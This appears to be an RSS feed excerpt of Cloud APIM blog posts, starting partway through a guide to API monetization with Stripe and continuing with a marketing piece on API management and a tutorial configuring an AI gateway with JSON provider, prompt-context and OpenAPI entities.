<p>In this blog post, we’ll guide you through the process of setting up easy monetization for your API using <strong>Cloud APIM Serverless</strong>.</p>
<h3 id="heading-why-monetizing-your-api"><strong>💡 Why Monetizing Your API ?</strong></h3>
<ul>
<li><p><strong>Generate Revenue :</strong> Turn your API into a revenue stream by offering paid access.</p>
</li>
<li><p><strong>Promote Innovation :</strong> Encourage developers to build on your platform by providing high-quality, premium features.</p>
</li>
<li><p><strong>Control Usage :</strong> Implement usage tiers and rate limits to ensure fair and optimal resource utilization.</p>
</li>
</ul>
<h3 id="heading-getting-started-with-api-monetization"><strong>🚀 Getting Started with API Monetization</strong></h3>
<ol>
<li><p><strong>Sign Up on Cloud APIM Serverless:</strong></p>
<p> Before setting up monetization, ensure you have created a project on <strong>Cloud APIM Serverless</strong>.</p>
<p> If you haven't created one yet, follow these steps:</p>
<ul>
<li><p>Log in to your <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">Cloud APIM Serverless dashboard</a>.</p>
</li>
<li><p>Click on <em>"New project"</em> and fill in your project name.</p>
</li>
</ul>
</li>
<li><p><strong>Set Up your Billing Plans:</strong></p>
<ul>
<li><p>Navigate to the <em>Developer portal</em> section in your API settings.</p>
</li>
<li><p>Click on <em>Dev portal Plans</em> and configure your plans.</p>
<p>  For this example let's create 3 plans :</p>
<ul>
<li><p><strong>Silver Tier:</strong> Offer basic access with limited usage.</p>
</li>
<li><p><strong>Gold Tier:</strong> Provide additional features and higher usage limits for a fee.</p>
</li>
<li><p><strong>Diamond Tier :</strong> Get all features included in Silver &amp; Gold and much more.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Configure Stripe Integration :</strong></p>
<ul>
<li><p>Create an account on Stripe (<a target="_blank" href="https://stripe.com/">https://stripe.com/</a>)</p>
</li>
<li><p>Go to your Dashboard and create your products (Silver, Gold and Diamond) as we took for our example.</p>
</li>
<li><p>Create a Pricing table and add your 3 products into the table.</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1725957325252/438b23de-2d81-4d45-b3c0-323636740eae.png" alt class="image--center mx-auto" /></p>
</li>
</ul>
</li>
</ol>
<p>    Then, click on <em>Continue</em> and go to <em>Payment Page</em> step</p>
<p>    For each product choose <strong><em>Don't show Confirmation page</em></strong> and put your link such as <a target="_blank" href="https://my-project-domain.cloud-apim.dev/docs/subloading?session_id=%7BCHECKOUT_SESSION_ID%7D">https://my-project-domain.cloud-apim.dev/docs/subloading?session_id={CHECKOUT_SESSION_ID}</a></p>
<p>    <strong>Replace the domain name by your Serverless project domain</strong></p>
<p>    <img src="https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-change-redirect-uri-4c3e73b928be2ad7f005de508d1f45e7.png" alt /></p>
<p>    <img src="https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-change-redirect-uri-foreach-ccc10e870e0ceea53c6b967c4dd59c81.png" alt /></p>
<p>    Once you've configured all your plans into your pricing table you can click on <em>Finish</em></p>
<p>    <img src="https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-finish-step-ac46e2c8967184448f25540b6469f26d.png" alt /></p>
<p>    Now, copy your <strong>STRIPE_PRICING_TABLE_ID</strong> you'll set it up into your environment variables right after.</p>
<p><img src="https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-pricing-table-settings-a9157ae16d48d7220a560b3c5114179d.png" alt /></p>
<p><strong>Configure Stripe Webhooks</strong></p>
<p>Go to your <a target="_blank" href="https://dashboard.stripe.com/developers">Stripe Dashboard Developers</a> and select <em>Webhooks tab.</em></p>
<p>Click on <em>+ add enpoint</em> and fill in the form as shown below :</p>
<p><img src="https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-1a60ae0ff1fcaa58d1229a121cd2fe9e.png" alt /></p>
<p>Put <a target="_blank" href="https://hooks.cloud-apim.com/serverless/stripe"><code>https://hooks.cloud-apim.com/serverless/stripe</code></a> as endpoint url</p>
<p><img src="https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-select-events-60496453a84d4fefa2bdc7055433e921.png" alt /></p>
<p>At the bottom of the form in the section <code>Select events to listen to</code> please select those events :</p>
<p><code>customer.subscription.deleted</code>, <code>customer.subscription.updated</code> and <code>checkout.session.completed</code></p>
<p><img src="https://www.cloud-apim.com/serverless/documentation/assets/images/webhook-form-completed-f82a72d1cbd1da9071ccdc31b34b932f.png" alt /></p>
<p>You have now configured with success your project. Click on <em>Add endpoint</em> to save your changes.</p>
<p><strong>Manage your environment variables</strong></p>
<p>Go back to your Cloud APIM Serverless project and set up the 3 required $.env.variables for your project.</p>
<p>You need to set up 3 environment variables <code>STRIPE_PRICING_TABLE_ID</code>, <code>STRIPE_PUB_KEY</code> and <code>STRIPE_SECRET_KEY</code>.</p>
<p>To do it, follow the screenshots below</p>
<p><img src="https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-display-env-var-2a181ba499ee40d1ca0b4b99ca2b9ba9.png" alt /></p>
<p><img src="https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-env-add-var-c55f7685dd061af5a04f824bff5f08a5.png" alt /></p>
<p><img src="https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-fill-env-var-8e6060fa0e79d2e32b0a1e6765721b12.png" alt /></p>
<p>Now, save your new variable and repeat the process for the other variables.</p>
<p><img src="https://www.cloud-apim.com/serverless/documentation/assets/images/stripe-fill-env-var-result-6b87b9b1939eaf8a8fb6abd64ac4406a.png" alt /></p>
<p><strong>Configure your developer portal</strong></p>
<p>Well, we are close to the end of our configuration !</p>
<p>You just need to configure your portal by enabling the monetization and setting up your different plans.</p>
<p>In the developer portal editor just paste the following code :</p>
<pre><code class="lang-json"><span class="hljs-string">"monetisation"</span>: {
    <span class="hljs-attr">"enabled"</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-attr">"provider"</span>: <span class="hljs-string">"stripe"</span>,
    <span class="hljs-attr">"config"</span> : {
      <span class="hljs-attr">"pricing_table_id"</span> : <span class="hljs-string">"${environment.STRIPE_PRICING_TABLE_ID}"</span>,
      <span class="hljs-attr">"pub_key"</span> : <span class="hljs-string">"${environment.STRIPE_PUB_KEY}"</span>,
      <span class="hljs-attr">"secret_key"</span> : <span class="hljs-string">"${environment.STRIPE_SECRET_KEY}"</span>
    } 
 }
</code></pre>
<p>Follow the procedure : <a target="_blank" href="https://www.cloud-apim.com/serverless/documentation/docs/Monetisation/portal-conf">https://www.cloud-apim.com/serverless/documentation/docs/Monetisation/portal-conf</a></p>
<h3 id="heading-benefits-of-monetizing-with-cloud-apim-serverless"><strong>🌟 Benefits of Monetizing with Cloud APIM Serverless</strong></h3>
<ul>
<li><p><strong>Streamlined Setup:</strong> Easily configure billing plans and payment integration without extensive coding.</p>
</li>
<li><p><strong>Scalable Solutions:</strong> Scale your API monetization strategy as your user base grows.</p>
</li>
<li><p><strong>Comprehensive Analytics:</strong> Gain insights into API usage and revenue through detailed analytics and reporting.</p>
</li>
<li><p><strong>Secure Transactions:</strong> Ensure secure payment processing with trusted payment gateways.</p>
</li>
<li><p><strong>Enhanced Developer Experience:</strong> Provide a user-friendly developer portal that simplifies subscription management and API access.</p>
</li>
</ul>
<h3 id="heading-documentation"><strong>Documentation</strong></h3>
<p>For more help let's check out our documentation about monetization <a target="_blank" href="https://www.cloud-apim.com/serverless/documentation/docs/category/add-monetisation">https://www.cloud-apim.com/serverless/documentation/docs/category/add-monetisation</a></p>
<h3 id="heading-conclusion"><strong>🎉 Conclusion</strong></h3>
<p>Monetizing your API with <a target="_blank" href="https://www.cloud-apim.com/serverless"><strong>Cloud APIM Serverless</strong></a> is a straightforward and effective way to unlock new revenue streams while providing value to your users.</p>
<p>By leveraging the platform’s robust monetization features, you can set up billing plans, manage subscriptions, and handle payments with ease.</p>
<p>Start monetizing your API today and turn your innovation into income with <strong>Cloud APIM Serverless</strong> !</p>
<h3 id="heading-get-started-now"><strong>🚀 Get Started Now</strong></h3>
<p>Ready to get started with <strong>Cloud APIM Serverless</strong> ?</p>
<p><a target="_blank" href="https://www.cloud-apim.com/serverless"><strong>Sign up now</strong></a> and take the first step towards secure and efficient <strong>API management</strong> !</p>
<h3 id="heading-stay-connected"><strong>📡 Stay Connected</strong></h3>
<p>Follow our blog for the latest updates, tips, and best practices for <strong>Cloud APIM Serverless</strong> and <strong>API management</strong>.</p>
<h3 id="heading-about-cloud-apim"><strong>🏢 About Cloud APIM</strong></h3>
<p><a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a> provides <a target="_blank" href="https://console.cloud-apim.com/deployments">cutting-edge, managed solutions for API management</a>, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">the most advanced tools</a> and <a target="_blank" href="https://console.cloud-apim.com/wasmo_deployments">services</a> to our customers, empowering them to achieve their digital transformation goals.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717164622893/4c55fd90-812f-4369-9d80-03faeeb5158f.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[✨ Why API Management is Crucial for Your Business ? 📈]]></title><description><![CDATA[In today’s fast-paced digital world, APIs are the backbone of modern software development.
APIs enable different software systems to communicate with each other, fostering innovation and streamlining processes.
However, managing these APIs effectivel...]]></description><link>https://blog.cloud-apim.com/why-api-management-is-crucial-for-your-business</link><guid isPermaLink="true">https://blog.cloud-apim.com/why-api-management-is-crucial-for-your-business</guid><category><![CDATA[Cloud APIM]]></category><category><![CDATA[APIs]]></category><category><![CDATA[API Management]]></category><category><![CDATA[Reverse Proxy]]></category><category><![CDATA[API Gateway]]></category><category><![CDATA[API basics ]]></category><dc:creator><![CDATA[Thomas Delafaye]]></dc:creator><pubDate>Tue, 16 Jul 2024 07:23:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1721045884717/603f590c-4ba5-482c-b195-8935d5ce0781.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In today’s fast-paced digital world, <strong>APIs</strong> are the <strong>backbone</strong> of modern software development.</p>
<p><strong>APIs</strong> enable different software systems to communicate with each other, fostering innovation and streamlining processes.</p>
<p>However, managing these APIs effectively is <strong>essential</strong> for <strong>businesses</strong> to harness their full potential.</p>
<p>This is where <strong>API management</strong> comes into play.</p>
<p>In this article, we’ll explore why API management is <strong>crucial</strong> for your business and how it can drive <strong>success</strong>.</p>
<h1 id="heading-enhanced-security">🛡️ Enhanced Security</h1>
<h3 id="heading-protect-your-data-and-systems">Protect Your Data and Systems</h3>
<p>Security is a top priority for any business, especially when dealing with APIs that expose critical data and services.</p>
<p>API management provides robust security measures such as authentication, authorization, encryption, and threat detection.</p>
<p>By implementing these controls, businesses can protect their data from unauthorized access and cyber threats.</p>
<h3 id="heading-security-example">Security - Example :</h3>
<p>For instance, OAuth2 is a common authorization framework used in API management to ensure that only authenticated users can access specific resources.</p>
<p>This prevents unauthorized access and keeps sensitive information secure.</p>
<h1 id="heading-improved-performance">⚡ Improved Performance</h1>
<h3 id="heading-optimize-and-monitor-api-usage">Optimize and Monitor API Usage</h3>
<p>Performance is key to maintain user satisfaction and operational efficiency.</p>
<p>API management tools offer monitoring and analytics features that help businesses tracking their API performance, usage patterns, and response times.</p>
<p>This data is invaluable for identifying bottlenecks, optimizing API endpoints, and ensuring that the system runs smoothly.</p>
<h3 id="heading-monitoring-example">Monitoring - Example :</h3>
<p>A company might use API management to monitor API calls during peak times, identifying and addressing slowdowns proactively to maintain high performance and reliability.</p>
<h1 id="heading-scalability">📈 Scalability</h1>
<h3 id="heading-manage-and-scale-apis-effortlessly">Manage and Scale APIs Effortlessly</h3>
<p>As businesses grow, their API usage typically increases.</p>
<p>API management platforms provide the scalability needed to handle this growth.</p>
<p>They allow businesses to scale their API infrastructure seamlessly, ensuring that they can accommodate increased traffic without compromising performance.</p>
<h3 id="heading-scalability-example">Scalability - Example :</h3>
<p>A retail company experiencing a surge in traffic during holiday sales can rely on API management to scale their API resources automatically, ensuring a smooth shopping experience for customers.</p>
<h1 id="heading-seamless-integration">🔗 Seamless Integration</h1>
<h3 id="heading-connect-different-systems-and-platforms">Connect Different Systems and Platforms</h3>
<p>API management facilitates the integration of diverse systems and platforms, enabling businesses to create a cohesive digital ecosystem.</p>
<p>This seamless integration helps streamline operations, improve efficiency, and foster innovation.</p>
<h3 id="heading-seamless-integration-example">Seamless Integration - Example :</h3>
<p>An e-commerce platform can integrate with various payment gateways, shipping services, and inventory management systems through APIs, all managed centrally to ensure consistent and reliable operation.</p>
<h1 id="heading-technology-agnostic">🌐 Technology Agnostic</h1>
<h3 id="heading-flexibility-across-different-technologies">Flexibility Across Different Technologies</h3>
<p>One of the significant advantages of modern API management is its technology-agnostic nature.</p>
<p>This means that businesses can integrate and manage APIs across various technology stacks and platforms without being tied to a specific vendor or technology.</p>
<p>This flexibility allows organizations to adopt the best tools and services for their needs, promoting innovation and agility.</p>
<h3 id="heading-technology-agnostic-example">Technology Agnostic - Example:</h3>
<p>A financial services company can use an API management platform to integrate APIs from different fintech providers, regardless of the underlying technology each provider uses.</p>
<p>This ensures seamless operation and the ability to choose the best solutions without compatibility concerns.</p>
<h1 id="heading-better-user-experience">🌟 Better User Experience</h1>
<h3 id="heading-deliver-consistent-and-reliable-services">Deliver Consistent and Reliable Services</h3>
<p>User experience is critical to the success of any business.</p>
<p>API management ensures that APIs deliver consistent, reliable, and high-quality services to users.</p>
<p>By managing API versioning, monitoring performance, and ensuring uptime, businesses can provide a superior user experience.</p>
<h3 id="heading-ux-example">UX - Example :</h3>
<p>A mobile app relying on multiple APIs for functionalities like weather updates, location services, and social media integration can ensure all APIs are performing optimally, providing users with a seamless and enjoyable experience.</p>
<h1 id="heading-conclusion">✨ Conclusion</h1>
<p><strong>API management</strong> is not just a technical necessity : it is a strategic asset that can drive business growth and innovation.</p>
<p>By enhancing security, improving performance, enabling scalability, facilitating seamless integration, and ensuring a better user experience, API management helps businesses maximize the potential of their APIs.</p>
<p>Investing in robust API management solutions is essential for staying <strong>competitive</strong> in today’s digital landscape.</p>
<p>Embrace API management to unlock new opportunities, drive efficiency, and deliver exceptional <strong>value</strong> to your <strong>customers</strong>.</p>
<h3 id="heading-get-started-now"><strong>🚀 Get Started Now</strong></h3>
<p>Ready to get started with <a target="_blank" href="https://cloud-apim.com/serverless"><strong>Cloud APIM Serverless</strong></a> ?</p>
<p><a target="_blank" href="https://console.cloud-apim.com/serverless/projects"><strong>Sign up now</strong></a> and take the first step towards secure and efficient <strong>API management</strong> !</p>
<h3 id="heading-youtube-videos"><strong>🎥 Youtube Videos</strong></h3>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/@CloudAPIM">https://www.youtube.com/@CloudAPIM</a></div>
<p> </p>
<h3 id="heading-stay-connected"><strong>📡 Stay Connected</strong></h3>
<p>Follow our blog for the latest updates, tips, and best practices for <strong>Cloud APIM Serverless</strong> and <strong>API management</strong>.</p>
<h3 id="heading-about-cloud-apim"><strong>🏢 About Cloud APIM</strong></h3>
<p><a target="_blank" href="https://www.cloud-apim.com/">Cloud APIM</a> provides <a target="_blank" href="https://console.cloud-apim.com/deployments">cutting-edge, managed solutions for API management</a>, enabling businesses to leverage the full power of their APIs with ease and efficiency. Our commitment to innovation and excellence drives us to offer <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">the most advanced tools</a> and <a target="_blank" href="https://console.cloud-apim.com/wasmo_deployments">services</a> to our customers, empowering them to achieve their digital transformation goals.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717164622893/4c55fd90-812f-4369-9d80-03faeeb5158f.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[🚀 Unleash the Power of Your API Gateway with AI : A simple guide to create your first AI Gateway 🤖]]></title><description><![CDATA[In today’s world, AI is revolutionizing the way we interact with technology.
One of the most powerful applications of AI is our API gateways, where AI can enhance functionality, security, and user experience.
In this new article, we’ll walk you throu...]]></description><link>https://blog.cloud-apim.com/unleash-the-power-of-your-api-gateway-with-ai-a-simple-guide-to-create-your-first-ai-gateway</link><guid isPermaLink="true">https://blog.cloud-apim.com/unleash-the-power-of-your-api-gateway-with-ai-a-simple-guide-to-create-your-first-ai-gateway</guid><category><![CDATA[AI]]></category><category><![CDATA[llm]]></category><category><![CDATA[API Gateway]]></category><category><![CDATA[ai gateway]]></category><category><![CDATA[APIs]]></category><category><![CDATA[API Management]]></category><dc:creator><![CDATA[Thomas Delafaye]]></dc:creator><pubDate>Mon, 08 Jul 2024 14:18:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1720449335344/8dcf2d16-09f5-49af-93ce-1d0a9d16a0e8.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In today’s world, <strong>AI</strong> is revolutionizing the way we interact with technology.</p>
<p>One of the most powerful applications of AI is our API gateways, where AI can enhance functionality, security, and user experience.</p>
<p>In this new article, we’ll walk you through the steps to create your first AI provider and context entities, enabling you to leverage AI in your API management.</p>
<h2 id="heading-step-by-step-guide-to-create-your-ai-provider-and-context-entities">Step-by-Step Guide to create your AI Provider and Context Entities</h2>
<h3 id="heading-1-create-your-serverless-project">1. Create your Serverless Project</h3>
<p>First, you need to sign up on <a target="_blank" href="https://www.cloud-apim.com/"><strong>Cloud APIM</strong></a> and create your first project to use our AI plugins.</p>
<p>If you haven't created one yet, follow these steps :</p>
<ul>
<li><p>Go to <a target="_blank" href="https://www.cloud-apim.com/">https://www.cloud-apim.com/</a></p>
</li>
<li><p>Log in to your <a target="_blank" href="https://console.cloud-apim.com/serverless/projects">Cloud APIM Serverless dashboard</a>.</p>
</li>
<li><p>Click on <em>"New project"</em> and fill in with your project name.</p>
</li>
</ul>
<h3 id="heading-2-clone-or-fork-our-git-repository">2. Clone or Fork our Git Repository</h3>
<p>Go to our AI plugins template repository <a target="_blank" href="https://github.com/cloud-apim/otoroshi-llm-extension-serverless-example">https://github.com/cloud-apim/otoroshi-llm-extension-serverless-example</a></p>
<p><strong>Clone</strong> it or <strong>fork</strong> it to your personal repository.</p>
<pre><code class="lang-bash">git <span class="hljs-built_in">clone</span> https://github.com/cloud-apim/otoroshi-llm-extension-serverless-example.git
</code></pre>
<p>This repository will host all your <strong>Serverless</strong> project's configuration 😁</p>
<h3 id="heading-3-choose-your-ai-provider">3. Choose Your AI Provider</h3>
<p>Cloud APIM offers multiple providers to use through its plugins :</p>
<ul>
<li><p><strong>OpenAI</strong></p>
</li>
<li><p><strong>Azure OpenAI</strong></p>
</li>
<li><p><strong>Ollama</strong></p>
</li>
<li><p><strong>Mistral</strong></p>
</li>
<li><p><strong>Anthropic</strong></p>
</li>
</ul>
<p>Get your API Token in order to configure your AI Provider entity in your <strong>Cloud APIM Serverless</strong> project.</p>
<h3 id="heading-4-set-up-your-environment-variables">4. Set up your environment variables</h3>
<p>Now let's secure your AI Provider API Token.</p>
<p>To do it we will use an environment variable defined as a secret variable for your project.</p>
<p>Go to your project's dashboard and click on <em>'Create a new environment variable'</em> Name it, for example <code>AI_PROVIDER_TOKEN</code> and paste your AI Provider Token in the environment variable value box below the name.</p>
<p>And just save it !</p>
<h3 id="heading-5-set-up-your-ai-provider-entity">5. Set Up Your AI Provider Entity</h3>
<p>Now, navigate to your <code>entities/ai.json</code> file.</p>
<p>Open it and you will have to set up your provider name and its associated token.</p>
<p>Update the <code>"provider"</code> property, by default we set up <code>"provider" : "openai"</code></p>
<p>Next, update the <code>connection</code> property by adding the API endpoint URL and the <code>token</code> property linked to your environment variable name.</p>
<p><em>For example</em> : <code>"token": "${environment.AI_PROVIDER_TOKEN}"</code></p>
<p>Finally, define the model you would like to use by updating options property.</p>
<p><em>Example</em> with GPT 3.5 Turbo model : <code>"model": "gpt-3.5-turbo"</code></p>
<p>Here is the example of the '<strong>AiProvider</strong>' entity :</p>
<pre><code class="lang-json">{
        <span class="hljs-attr">"_loc"</span>: {
            <span class="hljs-attr">"tenant"</span>: <span class="hljs-string">"default"</span>,
            <span class="hljs-attr">"teams"</span>: [<span class="hljs-string">"default"</span>]
        },
        <span class="hljs-attr">"id"</span>: <span class="hljs-string">"provider-openai"</span>,
        <span class="hljs-attr">"name"</span>: <span class="hljs-string">"OpenAI"</span>,
        <span class="hljs-attr">"description"</span>: <span class="hljs-string">""</span>,
        <span class="hljs-attr">"metadata"</span>: {},
        <span class="hljs-attr">"tags"</span>: [],
        <span class="hljs-attr">"provider"</span>: <span class="hljs-string">"openai"</span>,
        <span class="hljs-attr">"connection"</span>: {
            <span class="hljs-attr">"base_url"</span>: <span class="hljs-string">"https://api.openai.com"</span>,
            <span class="hljs-attr">"token"</span>: <span class="hljs-string">"${environment.AI_PROVIDER_TOKEN}"</span>,
            <span class="hljs-attr">"timeout"</span>: <span class="hljs-number">30000</span>
        },
        <span class="hljs-attr">"options"</span>: {
            <span class="hljs-attr">"model"</span>: <span class="hljs-string">"gpt-3.5-turbo"</span>,
            <span class="hljs-attr">"frequency_penalty"</span>: <span class="hljs-literal">null</span>,
            <span class="hljs-attr">"logit_bias"</span>: <span class="hljs-literal">null</span>,
            <span class="hljs-attr">"logprobs"</span>: <span class="hljs-literal">null</span>,
            <span class="hljs-attr">"top_logprobs"</span>: <span class="hljs-literal">null</span>,
            <span class="hljs-attr">"max_tokens"</span>: <span class="hljs-literal">null</span>,
            <span class="hljs-attr">"n"</span>: <span class="hljs-number">1</span>,
            <span class="hljs-attr">"presence_penalty"</span>: <span class="hljs-literal">null</span>,
            <span class="hljs-attr">"response_format"</span>: <span class="hljs-literal">null</span>,
            <span class="hljs-attr">"seed"</span>: <span class="hljs-literal">null</span>,
            <span class="hljs-attr">"stop"</span>: <span class="hljs-literal">null</span>,
            <span class="hljs-attr">"stream"</span>: <span class="hljs-literal">false</span>,
            <span class="hljs-attr">"temperature"</span>: <span class="hljs-number">1</span>,
            <span class="hljs-attr">"top_p"</span>: <span class="hljs-number">1</span>,
            <span class="hljs-attr">"tools"</span>: <span class="hljs-literal">null</span>,
            <span class="hljs-attr">"tool_choice"</span>: <span class="hljs-literal">null</span>,
            <span class="hljs-attr">"user"</span>: <span class="hljs-literal">null</span>
        },
        <span class="hljs-attr">"kind"</span>: <span class="hljs-string">"AiProvider"</span>
    }
</code></pre>
<p><strong>Do not forget</strong> to change and create your environment variable to use your AI provider's token.</p>
<p>In our demonstration case, we've chosen <code>AI_PROVIDER_TOKEN</code> as env variable name.</p>
<p>You could also save in your environment variables the API base URL such as <code>https://api.openai.com</code> for OpenAI or also the model you need to use.</p>
<h3 id="heading-6-create-the-context-entity">6. Create the Context Entity</h3>
<p>In your <code>entities/ai.json</code> file add an '<strong>AiPromptContext'</strong> entity.</p>
<p>Here is an example of an '<strong>AiPromptContext'</strong> entity :</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"_loc"</span>: {
        <span class="hljs-attr">"tenant"</span>: <span class="hljs-string">"default"</span>,
        <span class="hljs-attr">"teams"</span>: [<span class="hljs-string">"default"</span>]
    },
    <span class="hljs-attr">"id"</span>: <span class="hljs-string">"ai-context"</span>,
    <span class="hljs-attr">"name"</span>: <span class="hljs-string">"AI Context"</span>,
    <span class="hljs-attr">"description"</span>: <span class="hljs-string">""</span>,
    <span class="hljs-attr">"metadata"</span>: {},
    <span class="hljs-attr">"tags"</span>: {},
    <span class="hljs-attr">"messages"</span>: [
        {
            <span class="hljs-attr">"role"</span>: <span class="hljs-string">"system"</span>,
            <span class="hljs-attr">"content"</span>: <span class="hljs-string">"Cloud APIM is a french company that provides API Management as a Service through managed Otoroshi instances, Serverless projects, etc"</span>
        }
    ],
    <span class="hljs-attr">"kind"</span>: <span class="hljs-string">"AiPromptContext"</span>
}
</code></pre>
<h3 id="heading-7-create-your-api-endpoint">7. Create your API endpoint</h3>
<p>Don't forget to add the LLM proxy plugin to your Context route !</p>
<p>Here is an OpenAPI example to use '<strong>AiPromptContext</strong>' plugin.</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"openapi"</span>: <span class="hljs-string">"3.1.0"</span>,
    <span class="hljs-attr">"info"</span>: {
        <span class="hljs-attr">"title"</span>: <span class="hljs-string">"AI Plugins for Cloud-APIM Serverless Projects"</span>,
        <span class="hljs-attr">"version"</span>: <span class="hljs-string">"1.0.0"</span>,
        <span class="hljs-attr">"description"</span>: <span class="hljs-string">"An easy getting started project template to use AI in your Cloud-APIM Serverless projects"</span>,
        <span class="hljs-attr">"contact"</span>: {
            <span class="hljs-attr">"name"</span>: <span class="hljs-string">"Cloud APIM Default contact address"</span>,
            <span class="hljs-attr">"url"</span>: <span class="hljs-string">"https://www.cloud-apim.com"</span>,
            <span class="hljs-attr">"email"</span>: <span class="hljs-string">"contact@cloud-apim.com"</span>
        },
        <span class="hljs-attr">"x-logo-none"</span>: {
            <span class="hljs-attr">"url"</span>: <span class="hljs-string">"https://www.cloud-apim.com/assets/logo/cloud-apim-logo-inverted.png"</span>
        }
    },
    <span class="hljs-attr">"tags"</span>: [],
    <span class="hljs-attr">"paths"</span>: {
        <span class="hljs-attr">"/context"</span>: {
            <span class="hljs-attr">"post"</span>: {
                <span class="hljs-attr">"tags"</span>: [],
                <span class="hljs-attr">"summary"</span>: <span class="hljs-string">""</span>,
                <span class="hljs-attr">"operationId"</span>: <span class="hljs-string">"getAIContext"</span>,
                <span class="hljs-attr">"x-cloud-apim-backend"</span>: {
                    <span class="hljs-attr">"$ref"</span>: <span class="hljs-string">"#/components/x-cloud-apim-backends/mirror"</span>
                },
                <span class="hljs-attr">"x-cloud-apim-plugins"</span>: {
                    <span class="hljs-attr">"$ref"</span>: <span class="hljs-string">"#/components/x-cloud-apim-plugins/context"</span>
                }
            }
        }
    },
    <span class="hljs-attr">"components"</span>: {
        <span class="hljs-attr">"x-cloud-apim-plugins"</span>: {
            <span class="hljs-attr">"context"</span>: [
                {
                    <span class="hljs-attr">"enabled"</span>: <span class="hljs-literal">true</span>,
                    <span class="hljs-attr">"debug"</span>: <span class="hljs-literal">false</span>,
                    <span class="hljs-attr">"plugin"</span>: <span class="hljs-string">"cp:otoroshi.next.plugins.OverrideHost"</span>,
                    <span class="hljs-attr">"include"</span>: [],
                    <span class="hljs-attr">"exclude"</span>: [],
                    <span class="hljs-attr">"config"</span>: {}
                },
                {
                    <span class="hljs-attr">"enabled"</span>: <span class="hljs-literal">true</span>,
                    <span class="hljs-attr">"debug"</span>: <span class="hljs-literal">false</span>,
                    <span class="hljs-attr">"plugin"</span>: <span class="hljs-string">"cp:otoroshi_plugins.com.cloud.apim.otoroshi.extensions.aigateway.plugins.AiLlmProxy"</span>,
                    <span class="hljs-attr">"include"</span>: [],
                    <span class="hljs-attr">"exclude"</span>: [],
                    <span class="hljs-attr">"config"</span>: {
                        <span class="hljs-attr">"ref"</span>: <span class="hljs-string">"provider-openai"</span>
                    }
                },
                {
                    <span class="hljs-attr">"enabled"</span>: <span class="hljs-literal">true</span>,
                    <span class="hljs-attr">"debug"</span>: <span class="hljs-literal">false</span>,
                    <span class="hljs-attr">"plugin"</span>: <span class="hljs-string">"cp:otoroshi_plugins.com.cloud.apim.otoroshi.extensions.aigateway.plugins.AiPromptContext"</span>,
                    <span class="hljs-attr">"include"</span>: [],
                    <span class="hljs-attr">"exclude"</span>: [],
                    <span class="hljs-attr">"config"</span>: {
                        <span class="hljs-attr">"ref"</span>: <span class="hljs-string">"ai-context"</span>
                    }
                }
            ]
        },
        <span class="hljs-attr">"x-cloud-apim-backends"</span>: {
            <span class="hljs-attr">"mirror"</span>: {
                <span class="hljs-attr">"targets"</span>: [
                    {
                        <span class="hljs-attr">"hostname"</span>: <span class="hljs-string">"mirror.otoroshi.io"</span>,
                        <span class="hljs-attr">"port"</span>: <span class="hljs-number">443</span>,
                        <span class="hljs-attr">"tls"</span>: <span class="hljs-literal">true</span>
                    }
                ],
                <span class="hljs-attr">"root"</span>: <span class="hljs-string">"/"</span>,
                <span class="hljs-attr">"rewrite"</span>: <span class="hljs-literal">false</span>
            }
        }
    }
}
</code></pre>
<h3 id="heading-8-go-further">8. Go further</h3>
<p>You can go further by adding <em>API Keys</em> to secure your <strong>AI endpoints</strong> and use much more plugins provided by <strong>Cloud APIM</strong>.</p>
<p>Customization of your API endpoints is unlimited.</p>
<h2 id="heading-conclusion">✨ Conclusion</h2>
<p>Creating your first AI provider entity and context entity can significantly enhance the capabilities of your API gateway.</p>
<p>By integrating AI, you can provide smarter, more secure, and personalized experiences for your users.</p>
<p>Follow the steps outlined in this guide to get started on your AI journey and unlock the full potential of your API management.</p>
<p>To help you using our new set of plugins, we created a YouTube playlist containing all our AI Gateway videos.</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/playlist?list=PLNHaf5rXAx3FWk7dn2fKGwQXxeLCPhZCh">https://www.youtube.com/playlist?list=PLNHaf5rXAx3FWk7dn2fKGwQXxeLCPhZCh</a></div>
<p> </p>
<h3 id="heading-get-started-now"><strong>🚀 Get Started Now</strong></h3>
<p>Ready to get started with <a target="_blank" href="https://cloud-apim.com/serverless"><strong>Cloud APIM Serverless</strong></a> ?</p>
<p><a target="_blank" href="https://console.cloud-apim.com/serverless/projects"><strong>Sign up now</strong></a> and take the first step towards secure and efficient <strong>API management</strong> !</p>
<h3 id="heading-stay-connected"><strong>📡 Stay Connected</strong></h3>
<p>Follow our blog for the latest updates, tips, and best practices for <strong>Cloud APIM Serverless</strong> and <strong>API management</strong>.</p>
<h3 id="heading-about-cloud-apim"><strong>🏢 About Cloud APIM</strong></h3>
